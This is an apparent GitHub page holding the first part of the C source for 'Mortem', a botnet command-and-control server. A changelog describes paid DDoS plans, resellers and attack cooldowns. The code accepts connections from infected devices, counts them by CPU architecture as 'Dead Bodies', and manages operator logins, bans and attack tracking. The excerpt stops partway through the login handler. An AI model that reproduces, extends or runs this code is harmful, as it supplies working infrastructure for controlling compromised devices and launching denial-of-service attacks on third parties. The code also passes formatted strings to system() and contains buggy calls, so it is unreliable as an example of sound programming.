-
Notifications
You must be signed in to change notification settings - Fork 20
/
c7.c
3047 lines (2767 loc) · 158 KB
/
c7.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
╔═════════════╗
║ MORTEM - v1 ║
╚═════════════╝
Added Check Expiry to the login
Smart Attacks - Splits All Attacks into arguments and wont send an invalid cmd to the sock
╔═══════════════╗
║ MORTEM - v1.5 ║
╚═══════════════╝
New Member Added - Delusionalz - Developer
The Rest Of These Features Where Added Into The C2 By Delusionalz
Maverick Did All Of The Designing
//Admin Features:
For Easier Use Most Of The User Functions Were Added To Be Used In A Single Function
User Functions:
Add User - Admins And Resellers
Rem User - Admins And Resellers
Ban User - Admins Only
UnBan User - Admins Only
IP Ban - Admins Only
UnIP Ban - Admins Only
Ban User - Admins Only
UnBan User - Admins Only
Kick User - Admins Only
Add User Uses Plans When Making An Account For Easier Use
Kick User Tells You All Current Online Users
//New Login Features:
Added Banned Feature:
Checks File For Banned IPS
IF You Are IP Banned it Says it on your screen Before you can type in the Username Or Password
Checks Another File Too See If You Are Banned
Tells You That You Have Been Banned
Added Anti Double Loggin Feature:
Stops People from being logged in twice
Added Expiry Feature:
After Typing in Username And Password Its Checks To See If Your Account Has Expired
Added Logging Feature:
Added Tos - Logs That You Accepted TOS
Logs when someone has logged in
Added A Log Checker:
Makes Sure All The Logs Are Created When Screened Bc The c2 Can Crash Without Them
Makes Sure You Have A Login.txt in the users Directory
//Extra Features:
Added Online Feature:
Shows All Connected Users
If Your An Admin You See Their IP
Admins Cannot See Other Admins IP'S!!!!!
Added MSG
Allows You To Message Other Users
Only If they Are online
And You Type the right name
//Other Features:
Dope Ass Banners Added By Maverick
Fixed The Attack Functions
Added A Banner When The Attack Was Sent
Tells You The IP Port and Time
╔═════════════╗
║ MORTEM - v2 ║
╚═════════════╝
Lots More Added by Delusionalz
Admin Features:
Broadcast:
Msg's All Current Online Users
Toggleable For Each Individual User
Only Sends The Message if more than 1 Person Is On
Tells You How Many People It Was Sent to And How Many People Have Broadcasts Turned Off
Tells You If No One Is Online Or If Everyone Has Their Messages Toggled Off
Added Toggle Attacks:
Toggles On And Off The Sending Of Attacks
Added Toggle Listen:
Toggles On And Off The Veiwing Of Users Sending Attacks
Added Toggle Logins:
Toggles On And Off The Veiwing Of Users Loggin In And Logging Out
Login Features:
Title Bar Is Dyanmic According to what your doing
When Logging It Tells You TO loggin in the Title Bar
Then Switches To The Normal Title Bar
Extra Features
Added Toggle Broadcast:
Toggles On And Off The Receiving Of Broadcasted Messages
Toggle Msg:
Toggles On And Off The Receiving Of Direct Messages
Plans:
Shows Mortems Plans
Other:
Added A Cool Down for Attacks
Attacks Wont Send If Your Cool Down Isnt Over
Your Cooldown Will Countdown In The Title After Sending The Attack
╔═════════════╗
║ MORTEM - v3 ║
╚═════════════╝
TOTAL REVAMP ON THE ENTIRE DESIGN DONE BY MAVERICK!
Added Custom Moving Banner Upon Login Completion Aswell As TOS Acceptance
Added Attack Count Down:
Upon Sending An Attack It Starts A Countdown For How Long You Sent The Attack
And Adds 1 To The Amount Of Current Running Attacks
It Also Adds 1 To Your Individual Running Attack Ammount
Once The Countdown Is Over
It Deletes 1 Off The Attacks Running Amount
Aswell As Your Number Of Indivudal Attacks Amount
Other Attack Shit Added:
Attacks Running Shows Up In The Title Bar If There Are Any Attacks Running
If You Send 3 Attacks Before Your First Attack Countdown Isnt Finished
It Tells You To Fuck Off If You Try And Send Another It Simply Wont Send
//
Testing Encryption Method For Sending Attacks
//
Time Logged In:
The Instant You Complete Your Login And Accepting TOS
The c2 Starts A Timer And Once You Have Been Logged In For More Than 2 Hour
It Will Kick You Out Of The Session
Warnings Upon the 30, 10 and 5 Minute Marks
Finally Added Logout Command :D
If You Try And Crash The Screen It Kicks You Out Of The Session
*/
/*
Adding RN:
Api Attack Function
Lines: 336-449, 2841-2904
*/
/* TODO:
All Current Running Attacks Feature
Example:
Running Attacks:
Zevexerity: STD IP: 1.1.1.1 Attack Time:80 Time Left: 80 Seconds
Maverick: OVH IP: 8.8.8.8 Attack Time:39 Time Left: 120 Seconds
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <arpa/inet.h>
#define userfile "users/login.txt"
#define MAXFDS 1000000
char user_ip[100];
char *ipinfo[800];
char usethis[2048];
char motd[512];
int loggedin = 1;
int logoutshit;
int sent = 0;
int motdaction = 1;
int Attacksend = 0;
int AttackStatus = 0;
int userssentto;
int msgoff;
char broadcastmsg[800];
int attacksrunning = 0;
int threads, port;
struct login {
char username[100];
char password[100];
char admin[50];
char expirydate[100];
int cooldown_timer;
int cooldown;
int maxtime;
};
static struct login accounts[100];
struct clientdata_t {
uint32_t ip;
char x86;
char ARM;
char mips;
char mpsl;
char ppc;
char spc;
char unknown;
char connected;
} clients[MAXFDS];
struct telnetdata_t {
int connected;
int adminstatus;
char my_ip[100];
char id[800];
char planname[800];
int mymaxtime;
int mycooldown;
int listenattacks;
int cooldownstatus;// Cool Down Thread Status
int cooldownsecs;// Cool Down Seconds Left
int msgtoggle;// Toggles Recieving messages
int broadcasttoggle;// Toggles Broadcast Toggle
int LoginListen;
} managements[MAXFDS];
struct Attacks {
char username[100];
char method[100];
char ip[100];
int attackcooldownsecs;// Counts the length of your attack to be counted down using a thread
int attacktime;
int attacktimeleft;
int amountofatks; // counts How manny attacks you have sent whilst your attacks are running
} Sending[MAXFDS];
struct args {
int sock;
struct sockaddr_in cli_addr;
};
struct CoolDownArgs{
int sock;
int seconds;
char *ip;
char *method;
char *username;
};
struct toast {
int login;
int just_logged_in;
} gay[MAXFDS];
FILE *LogFile2;
FILE *LogFile3;
static volatile int epollFD = 0;
static volatile int listenFD = 0;
static volatile int OperatorsConnected = 0;
static volatile int DUPESDELETED = 0;
void StartCldown(void *arguments)
{
struct CoolDownArgs *args = arguments;
int fd = (int)args->sock;
int seconds = (int)args->seconds;
managements[fd].cooldownsecs = 0;
time_t start = time(NULL);
if(managements[fd].cooldownstatus == 0)
managements[fd].cooldownstatus = 1;
while(managements[fd].cooldownsecs++ <= seconds) sleep(1);
managements[fd].cooldownsecs = 0;
managements[fd].cooldownstatus = 0;
return;
}
void attacktime(void *arguments)// counts down till when your attack stops running
{
struct CoolDownArgs *args = arguments;
int fd = args->sock;
int seconds = args->seconds;
attacksrunning++;
time_t start = time(NULL);
Sending[fd].amountofatks++;
while(Sending[fd].attackcooldownsecs++ >= seconds) sleep(1);
Sending[fd].attackcooldownsecs = 0;
Sending[fd].amountofatks--;
attacksrunning--;
return;
}
void timeconnected(void *sock)
{
char sadtimes[800];
int datafd = (int)sock;
int seconds = 7200;
int closesecs = 0;
while(seconds-- >= closesecs)
{
if(seconds == 1800)
{
sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 30 Minutes Before You Will Be Logged Out!\r\n");
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id);
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
}
else if(seconds == 300)
{
sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 5 Minutes Before You Will Be Logged Out!\r\n");
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id);
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
}
else if(seconds == 60)
{
sprintf(sadtimes, "\r\n\e[38;5;190mYou Have 60 Seconds Before You Will Be Logged Out!\r\n");
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
sprintf(sadtimes, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id);
send(datafd, sadtimes, strlen(sadtimes), MSG_NOSIGNAL);
}
sleep(1);
}
char lz[800];
sprintf(lz, "\r\n\e[38;5;190mYou Have Been Logged Out. You Have Had The Net Open For An Hour\r\n");
memset(managements[datafd].id, 0, sizeof(managements[datafd].id));
managements[datafd].connected = 0;
OperatorsConnected--;
send(datafd, lz, strlen(lz), MSG_NOSIGNAL);
sleep(2);
close(datafd);
return;
}
void enc(char *str)
{
int i;
for(i = 0; (i < 100 && str[i] != '\0'); i++)
str[i] = str[i] + 3;
}
void decrypt(char *str)
{
int i;
for(i = 0; (i < 100 && str[i] != '\0'); i++)
{
str[i] = str[i] - 3;
}
}
/* TEST */
char *apiip = "xmlapi.xyz/";
int resolvehttp(char * , char *);
int resolvehttp(char *site , char *ip)
{
struct hostent *he;
struct in_addr **addr_list;
int i;
if ( (he = gethostbyname( site ) ) == NULL)
{
// get the host info
herror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **) he->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{
//Return the first one;
strcpy(ip , inet_ntoa(*addr_list[i]) );
return 0;
}
return 1;
}
/* TEST */
int fdgets(unsigned char *buffer, int bufferSize, int fd) {
int total = 0, got = 1;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got;
}
static int check_expiry(const int fd) // if(year > atoi(my_year) || day > atoi(my_day) && month >= atoi(my_month) && year == atoi(my_year) || month > atoi(my_month) && year >= atoi(my_year))
{
time_t t = time(0);
struct tm tm = *localtime(&t);
int day, month, year, argc = 0;
day = tm.tm_mday; //
month = tm.tm_mon + 1;
year = tm.tm_year - 100;
char *expirydate = calloc(strlen(accounts[fd].expirydate), sizeof(char));
strcpy(expirydate, accounts[fd].expirydate);
char *args[10 + 1];
char *p2 = strtok(expirydate, "/");
while(p2 && argc < 10)
{
args[argc++] = p2;
p2 = strtok(0, "/");
}
if(year > atoi(args[2]) || day > atoi(args[1]) && month >= atoi(args[0]) && year == atoi(args[2]) || month > atoi(args[0]) && year >= atoi(args[2]))
return 1;
return 0;
}
int checkaccounts()
{
FILE *file;
if((file = fopen("users/login.txt","r")) != NULL)
{
fclose(file);
} else {
char checkaccuser[80], checkpass[80];
printf("Username:");
scanf("%s", checkaccuser);
printf("Password:");
scanf("%s", checkpass);
char reguser[80];
char thing[80];
char mkdir[80];
sprintf(mkdir, "mkdir users");
sprintf(thing, "%s %s Admin 1200 0 99/99/9999");
sprintf(reguser, "echo '%s' >> users/login.txt", thing);
system(mkdir);
system(reguser);
printf("login.txt was Missing It has Now Been Created\r\nWithout this the screenw ould crash instantly\r\n");
}
}
int checklog()
{
FILE *logs1;
if((logs1 = fopen("logs/", "r")) != NULL)
{
fclose(logs1);
} else {
char mkdir[80];
strcpy(mkdir, "mkdir logs");
system(mkdir);
printf("Logs Directory Was Just Created\r\n");
}
FILE *logs2;
if((logs2 = fopen("logs/IPBANNED.txt", "r")) != NULL)
{
fclose(logs2);
} else {
char makeipbanned[800];
strcpy(makeipbanned, "cd logs; touch IPBANNED.txt");
system(makeipbanned);
printf("IPBANNED.txt Was Not In Logs... It has been created\r\nWithout This File The C2 would crash the instant you open it\r\n");
}
FILE *logs3;
if((logs3 = fopen("logs/BANNEDUSERS.txt", "r")) != NULL)
{
fclose(logs3);
} else {
char makeuserbanned[800];
strcpy(makeuserbanned, "cd logs; touch BANNEDUSERS.txt");
system(makeuserbanned);
printf("BANNEDUSERS.txt Was Not In Logs... It Has Been Created\r\nWithout This File The C2 would crash the instant you put your Username And Password In\r\n");
}
FILE *logs4;
if((logs4 = fopen("logs/Blacklist.txt", "r")) != NULL)
{
fclose(logs4);
} else {
char makeblacklist[800];
strcpy(makeblacklist, "cd logs; touch Blacklist.txt");
system(makeblacklist);
printf("Blacklist.txt Was Not In Logs... It Has Been Created\r\nWithout This File The C2 would crash the instant you Send An Attack\r\n");
}
FILE *logs5;
if((logs5 = fopen("logs/AcceptedTos.txt", "r")) != NULL)
{
fclose(logs5);
} else {
char maketos[800];
strcpy(maketos, "cd logs; touch AcceptedTos.txt");
system(maketos);
}
FILE *logs6;
if((logs6 = fopen("logs/LoggedUsers.txt", "r")) != NULL)
{
fclose(logs6);
} else {
char makelogd[800];
strcpy(makelogd, "cd logs; touch LoggedUsers.txt");
system(makelogd);
}
}
void trim(char *str) {
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static int make_socket_non_blocking (int sfd) {
int flags, s;
flags = fcntl (sfd, F_GETFL, 0);
if (flags == -1) {
perror ("fcntl");
return -1;
}
flags |= O_NONBLOCK;
s = fcntl (sfd, F_SETFL, flags);
if (s == -1) {
perror ("fcntl");
return -1;
}
return 0;
}
static int create_and_bind (char *port) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int s, sfd;
memset (&hints, 0, sizeof (struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
s = getaddrinfo (NULL, port, &hints, &result);
if (s != 0) {
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
return -1;
}
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1) continue;
int yes = 1;
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
if (s == 0) {
break;
}
close (sfd);
}
if (rp == NULL) {
fprintf (stderr, "Could not bind\n");
return -1;
}
freeaddrinfo (result);
return sfd;
}
void broadcast(char *msg, int us, char *sender)
{
int i;
for(i = 0; i < MAXFDS; i++)
{
if(clients[i].connected >= 1)
{
send(i, msg, strlen(msg), MSG_NOSIGNAL);
send(i, "\n", 1, MSG_NOSIGNAL);
}
}
}
void *BotEventLoop(void *useless)
{
struct epoll_event event;
struct epoll_event *events;
int s;
events = calloc(MAXFDS, sizeof event);
while (1)
{
int n, i;
n = epoll_wait(epollFD, events, MAXFDS, -1);
for (i = 0; i < n; i++)
{
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
{
clients[events[i].data.fd].connected = 0;
clients[events[i].data.fd].x86 = 0;
clients[events[i].data.fd].ARM = 0;
clients[events[i].data.fd].mips = 0;
clients[events[i].data.fd].mpsl = 0;
clients[events[i].data.fd].ppc = 0;
clients[events[i].data.fd].spc = 0;
clients[events[i].data.fd].unknown = 0;
close(events[i].data.fd);
continue;
}
else if (listenFD == events[i].data.fd)
{
while (1)
{
struct sockaddr in_addr;
socklen_t in_len;
int infd, ipIndex;
in_len = sizeof in_addr;
infd = accept(listenFD, &in_addr, &in_len);
if (infd == -1)
{
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
else
{
perror("accept");
break;
}
}
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
int dup = 0;
for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
{
if (!clients[ipIndex].connected || ipIndex == infd) continue;
if (clients[ipIndex].ip == clients[infd].ip)
{
dup = 1;
break;
}
}
if(dup)
{
if(send(infd, "! DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
close(infd);
continue;
}
s = make_socket_non_blocking(infd);
if (s == -1) { close(infd); break; }
event.data.fd = infd;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event);
if (s == -1)
{
perror("epoll_ctl");
close(infd);
break;
}
clients[infd].connected = 1;
}
continue;
}
else
{
int thefd = events[i].data.fd;
struct clientdata_t *client = &(clients[thefd]);
int done = 0;
client->connected = 1;
client->x86 = 0;
client->ARM = 0;
client->mips = 0;
client->mpsl = 0;
client->ppc = 0;
client->spc = 0;
client->unknown = 0;
while (1)
{
ssize_t count;
char buf[2048];
memset(buf, 0, sizeof buf);
while (memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
{
if (strstr(buf, "\n") == NULL) { done = 1; break; }
trim(buf);
if (strcmp(buf, "PING") == 0) {
if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
continue;
}
if(strstr(buf, "x86_64") == buf)
{
client->x86 = 1;
}
if(strstr(buf, "x86_32") == buf)
{
client->x86 = 1;
}
if(strstr(buf, "ARM4") == buf)
{
client->ARM = 1;
}
if(strstr(buf, "ARM5") == buf)
{
client->ARM = 1;
}
if(strstr(buf, "ARM6") == buf)
{
client->ARM = 1;
}
if(strstr(buf, "MIPS") == buf)
{
client->mips = 1;
}
if(strstr(buf, "MPSL") == buf)
{
client->mpsl = 1;
}
if(strstr(buf, "PPC") == buf)
{
client->ppc = 1;
}
if(strstr(buf, "SPC") == buf)
{
client->spc = 1;
}
if(strstr(buf, "idk") == buf)
{
client->unknown = 1;
}
if (strcmp(buf, "PONG") == 0) {
continue;
}
printf("BOT:\"%s\"\n", buf);
}
if (count == -1)
{
if (errno != EAGAIN)
{
done = 1;
}
break;
}
else if (count == 0)
{
done = 1;
break;
}
}
if (done)
{
client->connected = 0;
client->x86 = 0;
client->ARM = 0;
client->mips = 0;
client->mpsl = 0;
client->ppc = 0;
client->spc = 0;
client->unknown = 0;
close(thefd);
}
}
}
}
}
unsigned int x86Connected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].x86) continue;
total++;
}
return total;
}
unsigned int armConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].ARM) continue;
total++;
}
return total;
}
unsigned int mipsConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].mips) continue;
total++;
}
return total;
}
unsigned int mpslConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].mpsl) continue;
total++;
}
return total;
}
unsigned int ppcConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].ppc) continue;
total++;
}
return total;
}
unsigned int spcConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].spc) continue;
total++;
}
return total;
}
unsigned int unknownConnected()
{
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++)
{
if(!clients[i].unknown) continue;
total++;
}
return total;
}
unsigned int botsconnect()
{
int i = 0, total = 0;
for (i = 0; i < MAXFDS; i++)
{
if (!clients[i].connected) continue;
total++;
}
return total;
}
int Find_Login(char *str) {
FILE *fp;
int line_num = 0;
int find_result = 0, find_line=0;
char temp[512];
if((fp = fopen("users/login.txt", "r")) == NULL){
return(-1);
}
while(fgets(temp, 512, fp) != NULL){
if((strstr(temp, str)) != NULL){
find_result++;
find_line = line_num;
}
line_num++;
}
if(fp)
fclose(fp);
if(find_result == 0)return 0;
return find_line;
}
void checkHostName(int hostname)
{
if (hostname == -1)
{
perror("gethostname");
exit(1);
}
}
void client_addr(struct sockaddr_in addr){
sprintf(ipinfo, "%d.%d.%d.%d",
addr.sin_addr.s_addr & 0xFF,
(addr.sin_addr.s_addr & 0xFF00)>>8,
(addr.sin_addr.s_addr & 0xFF0000)>>16,
(addr.sin_addr.s_addr & 0xFF000000)>>24);
}
void *TitleWriter(void *sock) {
int datafd = (int)sock;
char string[2048];
while(1) {
memset(string, 0, 2048);
if(gay[datafd].login == 2)
{
sprintf(string, "%c]0; Welcome To Mortem Please Login %c", '\033', '\007');
} else {
if(managements[datafd].cooldownstatus == 1)
{
if(attacksrunning > 0)
{
sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Attacks Running: %d | Cooldown: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, attacksrunning, managements[datafd].mycooldown - managements[datafd].cooldownsecs, '\007');
} else
{
sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Cooldown: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, managements[datafd].mycooldown - managements[datafd].cooldownsecs, '\007');
}
}
else if(managements[datafd].cooldownstatus == 0)
{
if(attacksrunning > 0)
{
sprintf(string, "%c]0; Dead Bodies: %d | %s | %s | Attacks Running: %d %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, attacksrunning, '\007');
} else {
sprintf(string, "%c]0; Dead Bodies: %d | %s | %s %c", '\033', botsconnect(), managements[datafd].id, managements[datafd].planname, '\007');
}
}
}
if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
sleep(2);
}
}
void *BotWorker(void *sock)
{
int datafd = (int)sock;
int find_line;
OperatorsConnected++;
pthread_t title;
gay[datafd].login = 2;
pthread_create(&title, NULL, &TitleWriter, sock);
char buf[2048];
char* username;
char* password;
char* admin = "admin";
memset(buf, 0, sizeof buf);
char botnet[2048];
memset(botnet, 0, 2048);
char botcount [2048];
memset(botcount, 0, 2048);
char statuscount [2048];
memset(statuscount, 0, 2048);
FILE *fp;
int i=0;
int c;
fp=fopen("users/login.txt", "r");
while(!feof(fp)) {
c=fgetc(fp);
++i;
}
int j=0;
rewind(fp);
while(j!=i-1) {
fscanf(fp, "%s %s %s %d %d %s", accounts[j].username, accounts[j].password, accounts[j].admin, &accounts[j].maxtime, &accounts[j].cooldown, accounts[j].expirydate);
++j;
}
char *line1 = NULL;
size_t n1 = 0;
FILE *f1 = fopen("logs/IPBANNED.txt", "r");
while (getline(&line1, &n1, f1) != -1){
if (strstr(line1, ipinfo) != NULL){
sprintf(botnet, "\e[38;5;190mYOU HAVE BEEN IP BANNED BY MAVS COCK CONTACT AN ADMIN!\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
sleep(5);
goto end;
}
}
fclose(f1);
free(line1);
char clearscreen [2048];
memset(clearscreen, 0, 2048);